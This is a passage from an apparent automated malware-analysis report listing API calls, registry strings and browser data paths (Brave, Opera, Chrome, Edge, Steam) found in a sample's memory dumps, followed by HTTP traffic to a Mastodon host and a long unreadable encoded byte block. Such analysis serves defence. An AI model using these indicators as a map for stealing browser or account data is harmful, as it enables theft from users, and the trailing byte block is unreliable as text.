"CreateThreadpoolWait"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolWait"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolIo"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "SubmitThreadpoolWork"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWork"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp")46:T464,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "CreateThreadpool" (Indicator: "CreateThread"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "CreateThreadpoolIo" (Indicator: "CreateThread"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00002720.00000002.161977.D1338000.00000002.mdmp")47:Td62,"SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 44bf32bdbbd2b498a8903ee27cc66ff938b91ecace58a4b4a4a90f0414dc579a.bin "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002720.00000000.158138.715C0000.00000004.mdmp 00000000-00002720.00000001.160058.715C0000.00000004.mdmp 00000000-00002720.00000002.161977.715C0000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00002720.00000000.158138.715C0000.00000004.mdmp 00000000-00002720.00000001.160058.715C0000.00000004.mdmp 00000000-00002720.00000002.161977.715C0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}0" in Source: 00000000-00002720.00000000.158138.715C0000.00000004.mdmp 00000000-00002720.00000001.160058.715C0000.00000004.mdmp 00000000-00002720.00000002.161977.715C0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002720.00000000.158138.715C0000.00000004.mdmp 00000000-00002720.00000001.160058.715C0000.00000004.mdmp 00000000-00002720.00000002.161977.715C0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002720.00000000.158138.739D0000.00000004.mdmp 00000000-00002720.00000001.160058.739D0000.00000004.mdmp 00000000-00002720.00000002.161977.739D0000.00000004.mdmp "Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.76.6.1!7" in Source: 00000000-00002720.00000000.158138.739D0000.00000004.mdmp "Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.67.1.2!7" in Source: 00000000-00002720.00000000.158138.739D0000.00000004.mdmp "Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.92.1.1!7" in Source: 00000000-00002720.00000000.158138.739D0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00002720.00000000.158138.C751A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00002720.00000000.158138.C751A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00002720.00000000.158138.C751A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00002720.00000000.158138.C751A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00002720.00000000.158138.C751A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00002720.00000000.158138.C751A000.00000002.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00002720.00000002.161977.D1338000.00000002.mdmp "HKLM\" in Source: 00000000-00002720.00000002.161977.D1338000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00002720.00000002.161977.D1338000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002720.00000002.161977.D1338000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00002720.00000002.161977.D1338000.00000002.mdmp48:Tba1,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135]49:T16b3,"o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002720.00000000.158138.715C0000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00002720.00000000.158138.715C0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}0" in Source: 00000000-00002720.00000000.158138.715C0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002720.00000000.158138.715C0000.00000004.mdmp "Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.76.6.1!7" in Source: 00000000-00002720.00000000.158138.739D0000.00000004.mdmp "Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.67.1.2!7" in Source: 00000000-00002720.00000000.158138.739D0000.00000004.mdmp "Software\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.92.1.1!7" in Source: 00000000-00002720.00000000.158138.739D0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002720.00000000.158138.739D0000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00002720.00000000.158138.C751A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00002720.00000000.158138.C751A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00002720.00000000.158138.C751A000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00002720.00000000.158138.C751A000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00002720.00000000.158138.C751A000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00002720.00000000.158138.C751A000.00000002.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002720.00000001.160058.715C0000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00002720.00000001.160058.715C0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}0" in Source: 00000000-00002720.00000001.160058.715C0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002720.00000001.160058.715C0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002720.00000001.160058.739D0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00002720.00000002.161977.715C0000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00002720.00000002.161977.715C0000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}0" in Source: 00000000-00002720.00000002.161977.715C0000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00002720.00000002.161977.715C0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00002720.00000002.161977.739D0000.00000004.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00002720.00000002.161977.D1338000.00000002.mdmp "HKLM\" in Source: 00000000-00002720.00000002.161977.D1338000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00002720.00000002.161977.D1338000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00002720.00000002.161977.D1338000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00002720.00000002.161977.D1338000.00000002.mdmp "Y\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers" in Source: 00000000-00005708.00000000.157476.15D20000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005708.00000000.157476.15D20000.00000004.mdmp "raveSoftware\Brave-Browser\User Data" in Source: 00000000-00005708.00000000.157476.83383000.00000004.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00005708.00000001.159287.179A0000.00000004.mdmp "HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 00000000-00005708.00000001.159287.179A0000.00000004.mdmp "SOFTWARE\Valve\Steam" in Source: 00000000-00005708.00000001.159287.17A78000.00000004.mdmp "Opera Software\Opera Stable" in Source: 00000000-00005708.00000001.159287.17F71000.00000004.mdmp "Opera Software\Opera GX Stable" in Source: 00000000-00005708.00000001.159287.17F71000.00000004.mdmp "SOFTWARE\" in Source: 00000000-00005708.00000001.159287.17F71000.00000004.mdmp "Software\Google\Chrome\BLBeacon" in Source: 00000000-00005708.00000001.159287.182F7000.00000004.mdmp "Software\Microsoft\Edge\BLBeacon" in Source: 00000000-00005708.00000001.159287.182F7000.00000004.mdmp "raveSoftware\Brave-Browser\User Data" in Source: 00000000-00005708.00000001.159287.83383000.00000004.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00005708.00000001.159287.834B9000.00000002.mdmp "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\" in Source: 00000000-00005708.00000001.159287.834B9000.00000002.mdmp4a:T7b9,"GET /api/v1/accounts/116089313715962613 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 Host: ioc.exchange" Response ==> HTTP/1.1 200 OK Date: Wed 15 Apr 2026 10:08:47 GMT Content-Type: application/json; charset=utf-8 Content-Length: 891 Connection: keep-alive Vary: Accept-Encoding server: Mastodon x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 0 x-clacks-overhead: GNU Natalie Nguyen referrer-policy: same-origin x-ratelimit-limit: 300 x-ratelimit-remaining: 299 x-ratelimit-reset: 2026-04-15T10:10:00.028000Z vary: Authorization Origin cache-control: max-age=15 public stale-while-revalidate=30 stale-if-error=86400 etag: W/"6b5227bc7f76bf5aedde60a3b88faf85" content-security-policy: default-src 'none'; frame-ancestors 'none'; form-action 'none' x-request-id: 7cc36cff-1487-4174-95e4-dc81e93b9463 x-runtime: 0.009177 strict-transport-security: max-age=63072000; includeSubDomains X-Cached: HIT with response body ==>7B226964223A22313136303839333133373135393632363133222C22757365726E616D65223A2277656C6F7665696F63646F7465786368616E6765222C226163....... "GET /api/v1/accounts/ HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 Host: ioc.exchange" Response ==> HTTP/1.1 200 OK Date: Wed 15 Apr 2026 10:08:47 GMT Content-Type: application/json; charset=utf-8 Content-Length: 2 Connection: keep-alive server: Mastodon x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 0 x-clacks-overhead: GNU Natalie Nguyen referrer-policy: same-origin x-ratelimit-limit: 300 x-ratelimit-remaining: 299 x-ratelimit-reset: 2026-04-15T10:10:00.439832Z vary: Authorization Origin cache-control: private no-store etag: W/"4f53cda18c2baa0c0354bb5f9a3ecbe5" content-security-policy: default-src 'none'; frame-ancestors 'none'; form-action 'none' x-request-id: b6943831-2441-4767-a5a7-ff2001d8a6c4 x-runtime: 0.004010 strict-transport-security: max-age=63072000; includeSubDomains X-Cached: MISS with response body ==>5B5D.......4b:T2273,"FT[A@1Y\UQ]CFSaXRa\J^wBRk \ZZ\E \UW=:z\_WfG]D^4v[>3V]Bw_K9p]\A$]W8= |z2`f 4{x$t|0zfw5sd5p]"92u\\f_"92y u d5dJAEPS>WVJPO>=!``)9vxm#e~}/t{_j`ADo+uhcqff=L\_H?^LC@^NWAVEo?z*+p}`(fu ?2-yxw3w1{^hmEVCF=*"24s26=h},p't$cbu 6"\!?gPEo#eg'1fes@tXPntUT^n<)|${vevcc$0^>=u 6{6~3 n3u oi/7y!w6jx%lg0zq 5fv`24idu:~z&&?aKSABi)#37#f69qA'RY9a]P>Z_i?y5~h1l)/{r"li^UJ[tZ@?ZWRV[Flh,uF :mV@B=*"17v4a8zYwECWhlzj6Y^]FAg+b883W[^wjcCZ%Pl-CP]9ySG>US] k5||!)bjnICM\^un4+w,ckpi6+-&.f69cBVWoeSX"Xh4{*qx4`k1LAX=gYW^EK5YBWeVXd@=YF,7|:-/tFCv3~mb8//(,F'k6@RFn-'elp6clxAvYWi~U_?dJYTCT?2E^>aGW=1DA8tYobP@:}xb4rgj?pBH!WAS?zPXdfA^R=aX_?cL\\PS?Z!?gPEo#eg'1fes@tXPntUT^?{P[KYUEi6F$@BXp\d5A]VA$]WiZGZG]i[[s?dA]Eiz"f0q4gdwCAq>3^YV?]U^pm1U"\[@kZVF481qdq&ifKuzX k&treO!.&Z3'cY5q#KyaO(0$Y4a"4`Y6%83b3s|0b}j:wgq+1v `mdvt,&UVl;57!t0`)j:zvt/6*'+q1-[C_Vt\UKAtUWTE0BC]VQA%XyE_k25a}r$10.0k/w2p{^:he`*%pja.bok&g{k y{WPUn>hD\VG'PX&>a\J^vPnk2FUTZ%Z[F&\ii@WBXtQSF?if\FY[uXYKYLXsXm3A_R_'KJ\n9gZUXnU nhYR@[EuX]E>;e2/]5QY^p\d2z|u.50=MFXQo`[VFi]UBjT^T9@Sj(\ATS@m"X?2^Q%Z]IYTJ=#A]-A?rBZ{>83b4r|p q9cFWE9cVT_P7A9CZJHLG?;2Y'@CR^po?aA\_3__M^rd2{v,a6>i`}{cv[>6C9x#a6q1k9rBA%>xQYk7VZ881+eq[leJCAd-weg!a6o"DHrRET=.]91UAn93k av2&,,#}- pd(gx2t30s =:l0t`|*{t{-!v0lycs74%ZSphoe1t1w)u$z|n3-",+z$b6zq*r_qw6-avbLvfo%yh<`a&d+r.q~ra`#50okd6 b2c,u/t q=7G?z%eb!ddo?EQP@\se4x||*af?if.0g 86315abcbüÒýb1cf8e821a.ZWJAOcEQGrWn ad(tbNd"~!jpyhW: U8;5.3f%c3f8e321aeê§ßj2d>c3=b526FMWDAÞ ½Ðõ¾¥ëÖ®¾Ñ§½ôë÷¹ð§BÓõ»®íÑ¤¹ôëô¼§óÕõ»Õô½Ðóî×¬¥AÛõ¹Ð®íÔ ¥ íÑõ¼Ú »Ó£éõê§í¦êÓõ»òÐ§éõé¢ëÐò½Õõ»Õ÷¢EF¦¸Ûõ¹Ð®íÔ£º íÑõ¼Ú »Ó öõê§í¦êÓõ»®íÑ¤¹ôëô¼§ó×¡ëÑ¡ê×¤í£±Ð÷¸Ò¯ëÓ¤°£¢ íÑõ¼Ú »Ó£éõê¤òEÒô¹¥îÚð¤ABCô¼¤ì×¡ëÑ¡ê×¤í£±Ð÷¸Ò¬ôÓ¤° ½Ðõ¾¥ëÖ®¾Ñ§½÷ôBAEoÒô¹¥îÚð§Ð¤ñöñ¡óÐñ¥Õö®Õô½Ðóî×¬¦¥ Ûö¡Ð®íÔ£º£òÑõ¼Ú »Ó£éõê¤òE§ëÑð°¦£ÓôøôòÖö¢£¿¥¿ ¦ó¥Û§ñÒ¥¤§ºÚó¾×§÷Ôð£¡¨Ô¥¹×÷ê÷öEEBÓõ»®íÑ§¥÷ó÷¤§ô×¢óÑ¢ÿ×§ÿ ©Ðô Ò¯ëÓ¤°£¡Ðö¦¦óÖ«Ñ§½ôëô¥ð ¤óÑó¨¦¢Óôÿ÷êÖõº £¦§ ¢ð½Û¤éÒ¥®§ºÚó¾×§òECÚ »Ó£éöö¤õ¥òÓö£õÑ§¬ôëô¼§ð×¢óÑ¢ò×¤í£±Ðô§C;Ð®íÔ£º íÑõ¼Ú »Ó£éõê¤ò¦êÓõ»®íÑ¤¹ôëô¼¤ì×¢òÑ¡ê×¤í Ð÷¸Ò¯ëÓ§¯EÔ£º íÑö¥Ó£éõê¤ôEBÓõ»®íÑ¤¹ôëô¼¤ì×¡ëÑ¢óEFÛ¤éÒ¦±§ºÚó¾×¤ëÔó»¢°Ô¦¦ABôéÓóíÒ÷ CFÚó»Ð§éõé¢ëÐò½Õö¤B×¤í£±Ð÷¸Ò¯ëÓ¤° ½Ðõ¾¦òÖ®¾Ñ§½÷òBAEEÒô¹¥îÚó»Ð§éõé¡ôD×¡ëÑ¡ê×¤í£±Ð÷¸Ò¯ëÓ§¬£¨CoÑö®Ú££Ó ñöò¤õ¦êÓõ»ôÑ¤¹ôë÷ §ô×¢óÑ¡ê×¤í ¨Ð÷¸Ò¯ëÓ§©£¯Ðõ¾¥ëÖ¡Ñ§½ôëô EE§ëÑð°¦£AB÷êÖõº £¦§ ¢ð½Û¤éÒ¥¨CEÔ ¨£õÑö¤Ú££Ó ñõê§í¥óC®íÑ¤¹÷òAB¤ì×¡ëÑ¢ö×§õ ©Ðô§ºÚó¾×§÷Ôð£¡¨Ô¥¹×÷ê÷ðÓóíÒô¹¦÷Eôëô¼§ð×¢óÑ¢ò×§øFÛ¤éÒ¦±¤¦Úð¦×§óÔó»¢°Ô¦¦ABi÷¹ó¸§ëÑð°¥ºÓ÷ê÷êÖö££¿¥¿ £EF×¯º¦¸Ûö Ð®íÔ£º£ô¡¢Ô¥¹×÷êôéÓóíÒ÷ CFÚó»Ð§éöðBCÐò½Õõ»Õ÷¤E£±Ð÷¸Ò¬òE×¤ëÔó»¢°Ô¥¹×÷êôéÓóíÒ÷ CFÚó»Ð§éöðBCÐò½Õõ»Õô½Ðóî×¯º¦¸Ûõ¹ÐòÔ£º íÑö¥Ñ§½ôëô ó¸§ëÑð°¥ºÓ÷ê÷êÖõº ¥¿£ºð½Û¤éÒ¦±§ºÚó¾×§ôÔó»¢°Ô¦ Aõê§í¥óClÚð©Ð¤ñöñ¡óÐñ¥Õö£Õ÷¥Ððû×¬¨¥ Ûö¬£¯Ðö¦¦þÖ¬Ñ¤¥÷þBAÓðÿÒ÷¡¦öÚð£Ð¤üBCA¡ùÐñ¥Õö®BÐðü×¬¢¥CÓ§¢£¥Ðö«ECÔ¦«×ôò÷ñÓðõÒ÷¡¦öÚð£Ð¤üBCA¡ùÐñ¥Õö®BÐðü×¬¢¥ Ûö¡ÐõÔ ¢£õÑö©Ú£©Ó ñöÿAðª¤óÑó¥¦¨ÓôòôòÖö¢ §¦§ ¢ó¨Û§ûÒ¥©¤¢Úð¦×§óÔð£¡¨Ô¦¬×ôø÷ñÓðøBÓö©õÑ§¬ABCk@SPEM@BMaWRKS_]JeT\W:`QYZVCABLTJ6QEl5LR^TBCAWKfVGV=fFY\@AJTSTDA1VQ_DR\AhiOAaXX :QQTSPQPPRWTZQWV_ZZ\PQU[UTP[SQTQTTZ\kO aDcR@^[E1\WVGCRhY!C_HBTU;HE|R_F|GWASVORMTCX_U3Ay^JP^TErTFEVPZCRPQTViFl^W;X3S\QP1ASTKVAdYT; ZPDBWYLDFT?LB+E]Cw#k.g}aL$57$Qsn6@R-'elp6c:C}SVCTUEVme9)5*&[!WV[rSWLSR$Z!Us['tS#R:1p6_OWY]Zut9"26B7T_CtVZ\T(>N'ebC}VPE/[MWbCr]JgCq_gA!37AqEWV${2Hqa4B7QV[9Bvb0FvV@C[;"f`i?H5yOWAT24$#A!oBu@TJC@]RRMUT3Arcj*u+t8N&\ZLDJ41iOAfTFY%9SQQVVVWZVZVPSW]TUPWSV[QWUQVUQPXL>N0\ZSURSS_KETYS[RWO\VRO2HePQ7}vQXB¼Yj81{3=w128e652c6¦0Æ¹ôò21ù¥ccha1e6ST]HHT»a/%nkx>c2d8~+web51%f5;:i209cùO!Å64öð!r7LfUÿYâb$'wEvrPb`¨] j§`Ä^¡ÛPGU£öÚoqW;1b(80`Îq¶r0µ&CÅ{³Ó^®qdü¢<$Q¿º#<ªE!µJV¿âÃ¶º^>umµËþÁåMÝÔÊ¾ozi;t1" mrµuKz@§e¾"£n³é;ëjC¾úÍWÕ=F<~YËÆ½õPç©HôÁ(p5Ï z.à5Ïçäm=§üä¡c#wDi²üÉæÄþ©Ë~æ.WoFþQªÈ-=;ù]z|Åò~fó·½í»{·zçsÿä¢G:ryQJyfHt¡>äe¾è³þ2ú¶(*ï·-º0Í©÷#w.÷ýÙ0õÇ«[K"EI¢¥IuøÌ>«oðMzzjÎÅ|n_eãÉP`V"#{°ëÏÆu°þ·ñ}b¡0ÕT$zzúàÇ'¸9 ýòfñTs=o·úR»õ¥ã3RÅVô4s\~Ô&y`É:Gj¼"sb:µxÿ1²ÅLÃZEÈDÞ]o<ó;ö¥»-Ïg{oz5-±`çã3¼6tOÇè!W{Ù.M&Ë±!9¡Sas.PL]%Pâ6n]YPÓ23§>>ÿ S*×4ìRÊ7¨ÆÍs[%y2øF+Û*¤ñ#¸w3sb@0ê¼-ôöÿ;æöôû1ÊùJ°éh;¡;õÑÆgQ=²yÅzÌhe§7oNî'>@\~'«ÉÇÉ2¼ábêÎZÝË£³ä¢*»=-r|ûÍñãëÅý´D$ª{ëJ|üG¸ qeüdå#tNÛLÛj¶²§Q'ÿ¡§°Ê-ºüåÊ ,{z¡7%@ûqòHÇ=)#øÇ}×JgIC°»tRÌ×±.%.(öó&¸q§Ñix¡ßnô"°>eà/À"óX²BõTâÒ¡=3Mçùñ2j£²°½³·÷ú+B£¶Jñ3`§$Ü´íÆ'!³þªyÑÜñµ°ÿ#ó®BÉú`4b79%R&_ooä^'Qv'fw$t?uÜ{6#Å+88' ¡cÑKÒuè¹pV¥Pc#§x¢/qUA¬w¹â2(º°Á!00K;@,¨a÷ j²ûi>9¶ÂIb·ú±0**âÀT%Ô5Í££ÅJÃ5øª*]rSëSö79#ÏwØÀ@u¶¾±¯T89S3{ º×#6¶ 9³I±µ,Óxeg$¢>]»Ò`QÔ§îs±-Z".ñ½¼Ðâ³iO»À«g/@&ÕèÖM¥A1Ïö«Éþ]}#j°·S´) E yZÖj>·eÊÊC='ðg${C,áÍéÄa¢Û,.£Z>V9k3AæÖ8/esç-9_ñiToá~NùqV¡¡êóp/Fòõ.rüú¹?P3£ÿ PA'OH B @Wy>¹¨5@¾&Üð`?áA«?ÍîÙmd¦ë9^¤%$EYv7D³mP'ÙÂÊðoh@¹2åhÑ=¨úwù4}+>7ô"n;nc!rB)%pówÏ¤Ñd°ØÌÍ¢xKwZ2'${]øCcçÂ)Qy¤è´íàúMeê%ÅÙ´º¿i¨åD*8*k2¼A¶l0eÓ?BArmñtGc0·å.ªæëWr%4°N#°ù§¾äêæ\$&$¯'p»$#÷,îãE3s°¾©¨ëò¡¢¢`d7RÊÈÊªËä®¹+Ml>Ô²gò}§5`¿Ê±®{\÷R²Ø]t5ËÏöýßz`D¢Ïª*+ø~iÁ_´ôQÊÔÊw4Ñ7eÛÇóÔÏ7n~gÿ£öåi?Ëd¦òÒ p©.ñ¦aX§vYäÜû>©vBXç#÷ô>ªëç?itcÖ@è¬@¯[l`¿ºVÈ(Ùÿ°ìòJ9à±¿î1Ô÷!dQ?5.Xäð-ßÝsá~*½}%K_rÜ.&/f5.oäõ"n/C#Î>+çÒ³n'¯MÀÂ·Ø*!0UÓ;jå<%'³CÐõ¤&ò÷.°1¾:;y¬h Sx°YíªBIp¨¢ow)ÖÃóJEâ¨9eBoç2|â?øÌîÃ7i7ÿöwõ¯Z»&kÕx¸öIð2ú´ ßÙÞu*Þ6°t~É1ý¸cL×5jNÍ¢gCùWf+ú¨õsñô B\-Ag£Ô>Ö¨3¦0åPaOuy7)>lrøÉäâ¶bC¹*ãXpÚkd|º4*hï?»âéåAµÆÖ÷RÏ¨1%¿Ä-Á$âþ¨Ê#q©÷c_mhÔ f§â~Ô1Q~E:¯ 